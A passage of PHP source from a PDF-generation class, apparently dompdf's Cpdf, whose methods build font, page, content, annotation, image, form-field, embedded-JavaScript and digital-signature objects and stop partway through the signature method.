                break;

            case 'out':
                $res = "\n$id 0 obj\n<< /Type /FontDescriptor\n";
                foreach ($o['info'] as $label => $value) {
                    switch ($label) {
                        case 'Ascent':
                        case 'CapHeight':
                        case 'Descent':
                        case 'Flags':
                        case 'ItalicAngle':
                        case 'StemV':
                        case 'AvgWidth':
                        case 'Leading':
                        case 'MaxWidth':
                        case 'MissingWidth':
                        case 'StemH':
                        case 'XHeight':
                        case 'CharSet':
                            if (mb_strlen($value, '8bit')) {
                                $res .= "/$label $value\n";
                            }

                            break;
                        case 'FontFile':
                        case 'FontFile2':
                        case 'FontFile3':
                            $res .= "/$label $value 0 R\n";
                            break;

                        case 'FontBBox':
                            $res .= "/$label [$value[0] $value[1] $value[2] $value[3]]\n";
                            break;

                        case 'FontName':
                            $res .= "/$label /$value\n";
                            break;
                    }
                }

                $res .= ">>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * the font encoding
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_fontEncoding($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                // the options array should contain 'differences' and maybe 'encoding'
                $this->objects[$id] = ['t' => 'fontEncoding', 'info' => $options];
                break;

            case 'out':
                $res = "\n$id 0 obj\n<< /Type /Encoding\n";
                if (!isset($o['info']['encoding'])) {
                    $o['info']['encoding'] = 'WinAnsiEncoding';
                }

                if ($o['info']['encoding'] !== 'none') {
                    $res .= "/BaseEncoding /" . $o['info']['encoding'] . "\n";
                }

                $res .= "/Differences \n[";

                $onum = -100;

                foreach ($o['info']['differences'] as $num => $label) {
                    if ($num != $onum + 1) {
                        // we cannot make use of consecutive numbering
                        $res .= "\n$num /$label";
                    } else {
                        $res .= " /$label";
                    }

                    $onum = $num;
                }

                $res .= "\n]\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * a descendent cid font, needed for unicode fonts
     *
     * @param $id
     * @param $action
     * @param string|array $options
     * @return null|string
     */
    protected function o_fontDescendentCID($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'fontDescendentCID', 'info' => $options];

                // we need a CID system info section
                $cidSystemInfoId = ++$this->numObj;
                $this->o_cidSystemInfo($cidSystemInfoId, 'new');
                $this->objects[$id]['info']['cidSystemInfo'] = $cidSystemInfoId;

                // and a CID to GID map
                $cidToGidMapId = ++$this->numObj;
                $this->o_fontGIDtoCIDMap($cidToGidMapId, 'new', $options);
                $this->objects[$id]['info']['cidToGidMap'] = $cidToGidMapId;
                break;

            case 'add':
                foreach ($options as $k => $v) {
                    switch ($k) {
                        case 'BaseFont':
                            $o['info']['name'] = $v;
                            break;

                        case 'FirstChar':
                        case 'LastChar':
                        case 'MissingWidth':
                        case 'FontDescriptor':
                        case 'SubType':
                            $this->addMessage("o_fontDescendentCID $k : $v");
                            $o['info'][$k] = $v;
                            break;
                    }
                }

                // pass values down to cid to gid map
                $this->o_fontGIDtoCIDMap($o['info']['cidToGidMap'], 'add', $options);
                break;

            case 'out':
                $res = "\n$id 0 obj\n";
                $res .= "<</Type /Font\n";
                $res .= "/Subtype /CIDFontType2\n";
                $res .= "/BaseFont /" . $o['info']['name'] . "\n";
                $res .= "/CIDSystemInfo " . $o['info']['cidSystemInfo'] . " 0 R\n";
                //      if (isset($o['info']['FirstChar'])) {
                //        $res.= "/FirstChar ".$o['info']['FirstChar']."\n";
                //      }

                //      if (isset($o['info']['LastChar'])) {
                //        $res.= "/LastChar ".$o['info']['LastChar']."\n";
                //      }
                if (isset($o['info']['FontDescriptor'])) {
                    $res .= "/FontDescriptor " . $o['info']['FontDescriptor'] . " 0 R\n";
                }

                if (isset($o['info']['MissingWidth'])) {
                    $res .= "/DW " . $o['info']['MissingWidth'] . "\n";
                }

                if (isset($o['info']['fontFileName']) && isset($this->fonts[$o['info']['fontFileName']]['CIDWidths'])) {
                    $cid_widths = &$this->fonts[$o['info']['fontFileName']]['CIDWidths'];
                    $w = '';
                    foreach ($cid_widths as $cid => $width) {
                        $w .= "$cid [$width] ";
                    }
                    $res .= "/W [$w]\n";
                }

                $res .= "/CIDToGIDMap " . $o['info']['cidToGidMap'] . " 0 R\n";
                $res .= ">>\n";
                $res .= "endobj";

                return $res;
        }

        return null;
    }

    /**
     * CID system info section, needed for unicode fonts
     *
     * @param $id
     * @param $action
     * @return null|string
     */
    protected function o_cidSystemInfo($id, $action)
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = [
                    't' => 'cidSystemInfo'
                ];
                break;
            case 'add':
                break;
            case 'out':
                $ordering = 'UCS';
                $registry = 'Adobe';

                if ($this->encrypted) {
                    $this->encryptInit($id);
                    $ordering = $this->ARC4($ordering);
                    $registry = $this->ARC4($registry);
                }


                $res = "\n$id 0 obj\n";

                $res .= '<</Registry (' . $registry . ")\n"; // A string identifying an issuer of character collections
                $res .= '/Ordering (' . $ordering . ")\n"; // A string that uniquely names a character collection issued by a specific registry
                $res .= "/Supplement 0\n"; // The supplement number of the character collection.
                $res .= ">>";

                $res .= "\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * a font glyph to character map, needed for unicode fonts
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_fontGIDtoCIDMap($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'fontGIDtoCIDMap', 'info' => $options];
                break;

            case 'out':
                $res = "\n$id 0 obj\n";
                $fontFileName = $o['info']['fontFileName'];
                $tmp = $this->fonts[$fontFileName]['CIDtoGID'] = base64_decode($this->fonts[$fontFileName]['CIDtoGID']);

                $compressed = isset($this->fonts[$fontFileName]['CIDtoGID_Compressed']) &&
                    $this->fonts[$fontFileName]['CIDtoGID_Compressed'];

                if (!$compressed && isset($o['raw'])) {
                    $res .= $tmp;
                } else {
                    $res .= "<<";

                    if (!$compressed && $this->compressionReady && $this->options['compression']) {
                        // then implement ZLIB based compression on this content stream
                        $compressed = true;
                        $tmp = gzcompress($tmp, 6);
                    }
                    if ($compressed) {
                        $res .= "\n/Filter /FlateDecode";
                    }

                    if ($this->encrypted) {
                        $this->encryptInit($id);
                        $tmp = $this->ARC4($tmp);
                    }

                    $res .= "\n/Length " . mb_strlen($tmp, '8bit') . ">>\nstream\n$tmp\nendstream";
                }

                $res .= "\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * the document procset, solves some problems with printing to old PS printers
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_procset($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'procset', 'info' => ['PDF' => 1, 'Text' => 1]];
                $this->o_pages($this->currentNode, 'procset', $id);
                $this->procsetObjectId = $id;
                break;

            case 'add':
                // this is to add new items to the procset list, despite the fact that this is considered
                // obsolete, the items are required for printing to some postscript printers
                switch ($options) {
                    case 'ImageB':
                    case 'ImageC':
                    case 'ImageI':
                        $o['info'][$options] = 1;
                        break;
                }
                break;

            case 'out':
                $res = "\n$id 0 obj\n[";
                foreach ($o['info'] as $label => $val) {
                    $res .= "/$label ";
                }
                $res .= "]\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * define the document information
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_info($id, $action, $options = '')
    {
        switch ($action) {
            case 'new':
                $this->infoObject = $id;
                $date = 'D:' . @date('Ymd');
                $this->objects[$id] = [
                    't'    => 'info',
                    'info' => [
                        'Producer'      => 'CPDF (dompdf)',
                        'CreationDate' => $date
                    ]
                ];
                break;
            case 'Title':
            case 'Author':
            case 'Subject':
            case 'Keywords':
            case 'Creator':
            case 'Producer':
            case 'CreationDate':
            case 'ModDate':
            case 'Trapped':
                $this->objects[$id]['info'][$action] = $options;
                break;

            case 'out':
                $encrypted = $this->encrypted;
                if ($encrypted) {
                    $this->encryptInit($id);
                }

                $res = "\n$id 0 obj\n<<\n";
                $o = &$this->objects[$id];
                foreach ($o['info'] as $k => $v) {
                    $res .= "/$k (";

                    // dates must be outputted as-is, without Unicode transformations
                    if ($k !== 'CreationDate' && $k !== 'ModDate') {
                        $v = $this->utf8toUtf16BE($v);
                    }

                    if ($encrypted) {
                        $v = $this->ARC4($v);
                    }

                    $res .= $this->filterText($v, false, false);
                    $res .= ")\n";
                }

                $res .= ">>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * an action object, used to link to URLS initially
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_action($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                if (is_array($options)) {
                    $this->objects[$id] = ['t' => 'action', 'info' => $options, 'type' => $options['type']];
                } else {
                    // then assume a URI action
                    $this->objects[$id] = ['t' => 'action', 'info' => $options, 'type' => 'URI'];
                }
                break;

            case 'out':
                if ($this->encrypted) {
                    $this->encryptInit($id);
                }

                $res = "\n$id 0 obj\n<< /Type /Action";
                switch ($o['type']) {
                    case 'ilink':
                        if (!isset($this->destinations[(string)$o['info']['label']])) {
                            break;
                        }

                        // there will be an 'label' setting, this is the name of the destination
                        $res .= "\n/S /GoTo\n/D " . $this->destinations[(string)$o['info']['label']] . " 0 R";
                        break;

                    case 'URI':
                        $res .= "\n/S /URI\n/URI (";
                        if ($this->encrypted) {
                            $res .= $this->filterText($this->ARC4($o['info']), false, false);
                        } else {
                            $res .= $this->filterText($o['info'], false, false);
                        }

                        $res .= ")";
                        break;
                }

                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * an annotation object, this will add an annotation to the current page.
     * initially will support just link annotations
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_annotation($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                // add the annotation to the current page
                $pageId = $this->currentPage;
                $this->o_page($pageId, 'annot', $id);

                // and add the action object which is going to be required
                switch ($options['type']) {
                    case 'link':
                        $this->objects[$id] = ['t' => 'annotation', 'info' => $options];
                        $this->numObj++;
                        $this->o_action($this->numObj, 'new', $options['url']);
                        $this->objects[$id]['info']['actionId'] = $this->numObj;
                        break;

                    case 'ilink':
                        // this is to a named internal link
                        $label = $options['label'];
                        $this->objects[$id] = ['t' => 'annotation', 'info' => $options];
                        $this->numObj++;
                        $this->o_action($this->numObj, 'new', ['type' => 'ilink', 'label' => $label]);
                        $this->objects[$id]['info']['actionId'] = $this->numObj;
                        break;
                }
                break;

            case 'out':
                $res = "\n$id 0 obj\n<< /Type /Annot";
                switch ($o['info']['type']) {
                    case 'link':
                    case 'ilink':
                        $res .= "\n/Subtype /Link";
                        break;
                }
                $res .= "\n/A " . $o['info']['actionId'] . " 0 R";
                $res .= "\n/Border [0 0 0]";
                $res .= "\n/H /I";
                $res .= "\n/Rect [ ";

                foreach ($o['info']['rect'] as $v) {
                    $res .= sprintf("%.4F ", $v);
                }

                $res .= "]";
                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * a page object, it also creates a contents object to hold its contents
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_page($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->numPages++;
                $this->objects[$id] = [
                    't'    => 'page',
                    'info' => [
                        'parent'  => $this->currentNode,
                        'pageNum' => $this->numPages,
                        'mediaBox' => $this->objects[$this->currentNode]['info']['mediaBox']
                    ]
                ];

                if (is_array($options)) {
                    // then this must be a page insertion, array should contain 'rid','pos'=[before|after]
                    $options['id'] = $id;
                    $this->o_pages($this->currentNode, 'page', $options);
                } else {
                    $this->o_pages($this->currentNode, 'page', $id);
                }

                $this->currentPage = $id;
                //make a contents object to go with this page
                $this->numObj++;
                $this->o_contents($this->numObj, 'new', $id);
                $this->currentContents = $this->numObj;
                $this->objects[$id]['info']['contents'] = [];
                $this->objects[$id]['info']['contents'][] = $this->numObj;

                $match = ($this->numPages % 2 ? 'odd' : 'even');
                foreach ($this->addLooseObjects as $oId => $target) {
                    if ($target === 'all' || $match === $target) {
                        $this->objects[$id]['info']['contents'][] = $oId;
                    }
                }
                break;

            case 'content':
                $o['info']['contents'][] = $options;
                break;

            case 'annot':
                // add an annotation to this page
                if (!isset($o['info']['annot'])) {
                    $o['info']['annot'] = [];
                }

                // $options should contain the id of the annotation dictionary
                $o['info']['annot'][] = $options;
                break;

            case 'out':
                $res = "\n$id 0 obj\n<< /Type /Page";
                if (isset($o['info']['mediaBox'])) {
                    $tmp = $o['info']['mediaBox'];
                    $res .= "\n/MediaBox [" . sprintf(
                            '%.3F %.3F %.3F %.3F',
                            $tmp[0],
                            $tmp[1],
                            $tmp[2],
                            $tmp[3]
                        ) . ']';
                }
                $res .= "\n/Parent " . $o['info']['parent'] . " 0 R";

                if (isset($o['info']['annot'])) {
                    $res .= "\n/Annots [";
                    foreach ($o['info']['annot'] as $aId) {
                        $res .= " $aId 0 R";
                    }
                    $res .= " ]";
                }

                $count = count($o['info']['contents']);
                if ($count == 1) {
                    $res .= "\n/Contents " . $o['info']['contents'][0] . " 0 R";
                } else {
                    if ($count > 1) {
                        $res .= "\n/Contents [\n";

                        // reverse the page contents so added objects are below normal content
                        //foreach (array_reverse($o['info']['contents']) as $cId) {
                        // Back to normal now that I've got transparency working --Benj
                        foreach ($o['info']['contents'] as $cId) {
                            $res .= "$cId 0 R\n";
                        }
                        $res .= "]";
                    }
                }

                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * the contents objects hold all of the content which appears on pages
     *
     * @param $id
     * @param $action
     * @param string|array $options
     * @return null|string
     */
    protected function o_contents($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'contents', 'c' => '', 'info' => []];
                if (mb_strlen($options, '8bit') && intval($options)) {
                    // then this contents is the primary for a page
                    $this->objects[$id]['onPage'] = $options;
                } else {
                    if ($options === 'raw') {
                        // then this page contains some other type of system object
                        $this->objects[$id]['raw'] = 1;
                    }
                }
                break;

            case 'add':
                // add more options to the declaration
                foreach ($options as $k => $v) {
                    $o['info'][$k] = $v;
                }

            case 'out':
                $tmp = $o['c'];
                $res = "\n$id 0 obj\n";

                if (isset($this->objects[$id]['raw'])) {
                    $res .= $tmp;
                } else {
                    $res .= "<<";
                    if ($this->compressionReady && $this->options['compression']) {
                        // then implement ZLIB based compression on this content stream
                        $res .= " /Filter /FlateDecode";
                        $tmp = gzcompress($tmp, 6);
                    }

                    if ($this->encrypted) {
                        $this->encryptInit($id);
                        $tmp = $this->ARC4($tmp);
                    }

                    foreach ($o['info'] as $k => $v) {
                        $res .= "\n/$k $v";
                    }

                    $res .= "\n/Length " . mb_strlen($tmp, '8bit') . " >>\nstream\n$tmp\nendstream";
                }

                $res .= "\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * @param $id
     * @param $action
     * @return string|null
     */
    protected function o_embedjs($id, $action)
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = [
                    't'    => 'embedjs',
                    'info' => [
                        'Names' => '[(EmbeddedJS) ' . ($id + 1) . ' 0 R]'
                    ]
                ];
                break;

            case 'out':
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<< ";
                foreach ($o['info'] as $k => $v) {
                    $res .= "\n/$k $v";
                }
                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * @param $id
     * @param $action
     * @param string $code
     * @return null|string
     */
    protected function o_javascript($id, $action, $code = '')
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = [
                    't'    => 'javascript',
                    'info' => [
                        'S'  => '/JavaScript',
                        'JS' => '(' . $this->filterText($code, true, false) . ')',
                    ]
                ];
                break;

            case 'out':
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<< ";

                foreach ($o['info'] as $k => $v) {
                    $res .= "\n/$k $v";
                }
                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * an image object, will be an XObject in the document, includes description and data
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_image($id, $action, $options = '')
    {
        switch ($action) {
            case 'new':
                // make the new object
                $this->objects[$id] = ['t' => 'image', 'data' => &$options['data'], 'info' => []];

                $info =& $this->objects[$id]['info'];

                $info['Type'] = '/XObject';
                $info['Subtype'] = '/Image';
                $info['Width'] = $options['iw'];
                $info['Height'] = $options['ih'];

                if (isset($options['masked']) && $options['masked']) {
                    $info['SMask'] = ($this->numObj - 1) . ' 0 R';
                }

                if (!isset($options['type']) || $options['type'] === 'jpg') {
                    if (!isset($options['channels'])) {
                        $options['channels'] = 3;
                    }

                    switch ($options['channels']) {
                        case 1:
                            $info['ColorSpace'] = '/DeviceGray';
                            break;
                        case 4:
                            $info['ColorSpace'] = '/DeviceCMYK';
                            break;
                        default:
                            $info['ColorSpace'] = '/DeviceRGB';
                            break;
                    }

                    if ($info['ColorSpace'] === '/DeviceCMYK') {
                        $info['Decode'] = '[1 0 1 0 1 0 1 0]';
                    }

                    $info['Filter'] = '/DCTDecode';
                    $info['BitsPerComponent'] = 8;
                } else {
                    if ($options['type'] === 'png') {
                        $info['Filter'] = '/FlateDecode';
                        $info['DecodeParms'] = '<< /Predictor 15 /Colors ' . $options['ncolor'] . ' /Columns ' . $options['iw'] . ' /BitsPerComponent ' . $options['bitsPerComponent'] . '>>';

                        if ($options['isMask']) {
                            $info['ColorSpace'] = '/DeviceGray';
                        } else {
                            if (mb_strlen($options['pdata'], '8bit')) {
                                $tmp = ' [ /Indexed /DeviceRGB ' . (mb_strlen($options['pdata'], '8bit') / 3 - 1) . ' ';
                                $this->numObj++;
                                $this->o_contents($this->numObj, 'new');
                                $this->objects[$this->numObj]['c'] = $options['pdata'];
                                $tmp .= $this->numObj . ' 0 R';
                                $tmp .= ' ]';
                                $info['ColorSpace'] = $tmp;

                                if (isset($options['transparency'])) {
                                    $transparency = $options['transparency'];
                                    switch ($transparency['type']) {
                                        case 'indexed':
                                            $tmp = ' [ ' . $transparency['data'] . ' ' . $transparency['data'] . '] ';
                                            $info['Mask'] = $tmp;
                                            break;

                                        case 'color-key':
                                            $tmp = ' [ ' .
                                                $transparency['r'] . ' ' . $transparency['r'] .
                                                $transparency['g'] . ' ' . $transparency['g'] .
                                                $transparency['b'] . ' ' . $transparency['b'] .
                                                ' ] ';
                                            $info['Mask'] = $tmp;
                                            break;
                                    }
                                }
                            } else {
                                if (isset($options['transparency'])) {
                                    $transparency = $options['transparency'];

                                    switch ($transparency['type']) {
                                        case 'indexed':
                                            $tmp = ' [ ' . $transparency['data'] . ' ' . $transparency['data'] . '] ';
                                            $info['Mask'] = $tmp;
                                            break;

                                        case 'color-key':
                                            $tmp = ' [ ' .
                                                $transparency['r'] . ' ' . $transparency['r'] . ' ' .
                                                $transparency['g'] . ' ' . $transparency['g'] . ' ' .
                                                $transparency['b'] . ' ' . $transparency['b'] .
                                                ' ] ';
                                            $info['Mask'] = $tmp;
                                            break;
                                    }
                                }
                                $info['ColorSpace'] = '/' . $options['color'];
                            }
                        }

                        $info['BitsPerComponent'] = $options['bitsPerComponent'];
                    }
                }

                // assign it a place in the named resource dictionary as an external object, according to
                // the label passed in with it.
                $this->o_pages($this->currentNode, 'xObject', ['label' => $options['label'], 'objNum' => $id]);

                // also make sure that we have the right procset object for it.
                $this->o_procset($this->procsetObjectId, 'add', 'ImageC');
                break;

            case 'out':
                $o = &$this->objects[$id];
                $tmp = &$o['data'];
                $res = "\n$id 0 obj\n<<";

                foreach ($o['info'] as $k => $v) {
                    $res .= "\n/$k $v";
                }

                if ($this->encrypted) {
                    $this->encryptInit($id);
                    $tmp = $this->ARC4($tmp);
                }

                $res .= "\n/Length " . mb_strlen($tmp, '8bit') . ">>\nstream\n$tmp\nendstream\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * graphics state object
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_extGState($id, $action, $options = "")
    {
        static $valid_params = [
            "LW",
            "LC",
            "LC",
            "LJ",
            "ML",
            "D",
            "RI",
            "OP",
            "op",
            "OPM",
            "Font",
            "BG",
            "BG2",
            "UCR",
            "TR",
            "TR2",
            "HT",
            "FL",
            "SM",
            "SA",
            "BM",
            "SMask",
            "CA",
            "ca",
            "AIS",
            "TK"
        ];

        switch ($action) {
            case "new":
                $this->objects[$id] = ['t' => 'extGState', 'info' => $options];

                // Tell the pages about the new resource
                $this->numStates++;
                $this->o_pages($this->currentNode, 'extGState', ["objNum" => $id, "stateNum" => $this->numStates]);
                break;

            case "out":
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<< /Type /ExtGState\n";

                foreach ($o["info"] as $k => $v) {
                    if (!in_array($k, $valid_params)) {
                        continue;
                    }
                    $res .= "/$k $v\n";
                }

                $res .= ">>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * @param integer $id
     * @param string $action
     * @param mixed $options
     * @return string
     */
    protected function o_xobject($id, $action, $options = '')
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'xobject', 'info' => $options, 'c' => ''];
                break;

            case 'procset':
                $this->objects[$id]['procset'] = $options;
                break;

            case 'font':
                $this->objects[$id]['fonts'][$options['fontNum']] = [
                  'objNum' => $options['objNum'],
                  'fontNum' => $options['fontNum']
                ];
                break;

            case 'xObject':
                $this->objects[$id]['xObjects'][] = ['objNum' => $options['objNum'], 'label' => $options['label']];
                break;

            case 'out':
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<< /Type /XObject\n";

                foreach ($o["info"] as $k => $v) {
                    switch ($k) {
                        case 'Subtype':
                            $res .= "/Subtype /$v\n";
                            break;
                        case 'bbox':
                            $res .= "/BBox [";
                            foreach ($v as $value) {
                                $res .= sprintf("%.4F ", $value);
                            }
                            $res .= "]\n";
                            break;
                        default:
                            $res .= "/$k $v\n";
                            break;
                    }
                }
                $res .= "/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]\n";

                $res .= "/Resources <<";
                if (isset($o['procset'])) {
                    $res .= "\n/ProcSet " . $o['procset'] . " 0 R";
                } else {
                    $res .= "\n/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]";
                }
                if (isset($o['fonts']) && count($o['fonts'])) {
                    $res .= "\n/Font << ";
                    foreach ($o['fonts'] as $finfo) {
                        $res .= "\n/F" . $finfo['fontNum'] . " " . $finfo['objNum'] . " 0 R";
                    }
                    $res .= "\n>>";
                }
                if (isset($o['xObjects']) && count($o['xObjects'])) {
                    $res .= "\n/XObject << ";
                    foreach ($o['xObjects'] as $finfo) {
                        $res .= "\n/" . $finfo['label'] . " " . $finfo['objNum'] . " 0 R";
                    }
                    $res .= "\n>>";
                }
                $res .= "\n>>\n";

                $tmp = $o["c"];
                if ($this->compressionReady && $this->options['compression']) {
                    // then implement ZLIB based compression on this content stream
                    $res .= " /Filter /FlateDecode\n";
                    $tmp = gzcompress($tmp, 6);
                }

                if ($this->encrypted) {
                    $this->encryptInit($id);
                    $tmp = $this->ARC4($tmp);
                }

                $res .= "/Length " . mb_strlen($tmp, '8bit') . " >>\n";
                $res .= "stream\n" . $tmp . "\nendstream" . "\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_acroform($id, $action, $options = '')
    {
        switch ($action) {
            case "new":
                $this->o_catalog($this->catalogId, 'acroform', $id);
                $this->objects[$id] = array('t' => 'acroform', 'info' => $options);
                break;

            case 'addfield':
                $this->objects[$id]['info']['Fields'][] = $options;
                break;

            case 'font':
                $this->objects[$id]['fonts'][$options['fontNum']] = [
                  'objNum' => $options['objNum'],
                  'fontNum' => $options['fontNum']
                ];
                break;

            case "out":
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<<";

                foreach ($o["info"] as $k => $v) {
                    switch ($k) {
                        case 'Fields':
                            $res .= " /Fields [";
                            foreach ($v as $i) {
                                $res .= "$i 0 R ";
                            }
                            $res .= "]\n";
                            break;
                        default:
                            $res .= "/$k $v\n";
                    }
                }

                $res .= "/DR <<\n";
                if (isset($o['fonts']) && count($o['fonts'])) {
                    $res .= "/Font << \n";
                    foreach ($o['fonts'] as $finfo) {
                        $res .= "/F" . $finfo['fontNum'] . " " . $finfo['objNum'] . " 0 R\n";
                    }
                    $res .= ">>\n";
                }
                $res .= ">>\n";

                $res .= ">>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * @param $id
     * @param $action
     * @param mixed $options
     * @return null|string
     */
    protected function o_field($id, $action, $options = '')
    {
        switch ($action) {
            case "new":
                $this->o_page($options['pageid'], 'annot', $id);
                $this->o_acroform($this->acroFormId, 'addfield', $id);
                $this->objects[$id] = ['t' => 'field', 'info' => $options];
                break;

            case 'set':
                $this->objects[$id]['info'] = array_merge($this->objects[$id]['info'], $options);
                break;

            case "out":
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<< /Type /Annot /Subtype /Widget \n";

                $encrypted = $this->encrypted;
                if ($encrypted) {
                    $this->encryptInit($id);
                }

                foreach ($o["info"] as $k => $v) {
                    switch ($k) {
                        case 'pageid':
                            $res .= "/P $v 0 R\n";
                            break;
                        case 'value':
                            if ($encrypted) {
                                $v = $this->filterText($this->ARC4($v), false, false);
                            }
                            $res .= "/V ($v)\n";
                            break;
                        case 'refvalue':
                            $res .= "/V $v 0 R\n";
                            break;
                        case 'da':
                            if ($encrypted) {
                                $v = $this->filterText($this->ARC4($v), false, false);
                            }
                            $res .= "/DA ($v)\n";
                            break;
                        case 'options':
                            $res .= "/Opt [\n";
                            foreach ($v as $opt) {
                                if ($encrypted) {
                                    $opt = $this->filterText($this->ARC4($opt), false, false);
                                }
                                $res .= "($opt)\n";
                            }
                            $res .= "]\n";
                            break;
                        case 'rect':
                            $res .= "/Rect [";
                            foreach ($v as $value) {
                                $res .= sprintf("%.4F ", $value);
                            }
                            $res .= "]\n";
                            break;
                        case 'appearance':
                            $res .= "/AP << ";
                            foreach ($v as $a => $ref) {
                                $res .= "/$a $ref 0 R ";
                            }
                            $res .= ">>\n";
                            break;
                        case 'T':
                            if ($encrypted) {
                                $v = $this->filterText($this->ARC4($v), false, false);
                            }
                            $res .= "/T ($v)\n";
                            break;
                        default:
                            $res .= "/$k $v\n";
                    }

                }

                $res .= ">>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_sig($id, $action, $options = '')
    {
        $sign_maxlen = $this->signatureMaxLen;

        switch ($action) {
            case "new":
                $this->objects[$id] = array('t' => 'sig', 'info' => $options);
                $this->byteRange[$id] = ['t' => 'sig'];
                break;

            case 'byterange':
                $o = &$this->objects[$id];
                $content =& $options['content'];
                $content_len = strlen($content);
                $pos = strpos($content, sprintf("/ByteRange [ %'.010d", $id));
                $len = strlen('/ByteRange [ ********** ********** ********** ********** ]');
                $rangeStartPos = $pos + $len + 1 + 10; // before '<'
                $content = substr_replace($content, str_pad(sprintf('/ByteRange [ 0 %u %u %u ]', $rangeStartPos, $rangeStartPos + $sign_maxlen + 2, $content_len - 2 - $sign_maxlen - $rangeStartPos), $len, ' ', STR_PAD_RIGHT), $pos, $len);

                $fuid = uniqid();
                $tmpInput = $this->tmp . "/pkcs7.tmp." . $fuid . '.in';
                $tmpOutput = $this->tmp . "/pkcs7.tmp." . $fuid . '.out';

                if (file_put_contents($tmpInput, substr($content, 0, $rangeStartPos)) === false) {
                    throw new \Exception("Unable to write temporary file for signing.");
                }
                if (file_put_contents($tmpInput, substr($content, $rangeStartPos + 2 + $sign_maxlen),
                    FILE_APPEND) === false) {
                    throw new \Exception("Unable to write temporary file for signing.");
                }

                if (openssl_pkcs7_sign($tmpInput, $tmpOutput,
                    $o['info']['SignCert'],
                    array($o['info']['PrivKey'], $o['info']['Password']),
                    array(), PKCS7_BINARY | PKCS7_DETACHED) === false) {
                    throw new \Exception("Failed to prepare signature.");
                }

                $signature = file_get_contents($tmpOutput);

                unlink($tmpInput);
                unlink($tmpOutput);

                $sign = substr($signature, (strpos($signature, "%%EOF\n\n------") + 13));
                list($head, $signature) = explode("\n\n", $sign);

                $signature = base64_decode(trim($signature));

                $signature = current(unpack('H*', $signature));
                $signature = str_pad($signature, $sign_maxlen, '0');
                $siglen = strlen($signature);
                if (strlen($signature) > $sign_maxlen) {
                    throw new \Exception("Signature length ($siglen) exceeds the $sign_maxlen limit.");
                }

                $content = substr_replace($content, $signature, $rangeStartPos + 1, $sign_maxlen);
                break;

            case "out":
                $res = "\n$id 0 obj\n<<\n";

                $encrypted = $this->encrypted;
                if ($encrypted) {
                    $this->encryptInit($id);
                }

                $res .= "/ByteRange " .sprintf("[ %'.010d ********** ********** ********** ]\n", $id);
                $res .= "/Contents <" . str_pad('', $sign_maxlen, '0') . ">\n";
                $res .= "/Filter/Adobe.PPKLite\n"; //PPKMS \n";
                $res .= "/Type/Sig/SubFilter/adbe.pkcs7.detached \n";

                $date = "D:" . substr_replace(date('YmdHisO'), '\'', -2, 0) . '\'';
                if ($encrypted) {
                    $date = $this->ARC4($date);
                }

                $res .= "/M ($date)\n";
                $res .= "/Prop_Build << /App << /Name /DomPDF >> /Filter << /Name /Adobe.PPKLite >> >>\n";

                $o = &$this->objects[$id];
                foreach ($o['info'] as $k => $v) {
                    switch ($k) {
                        case 'Name':
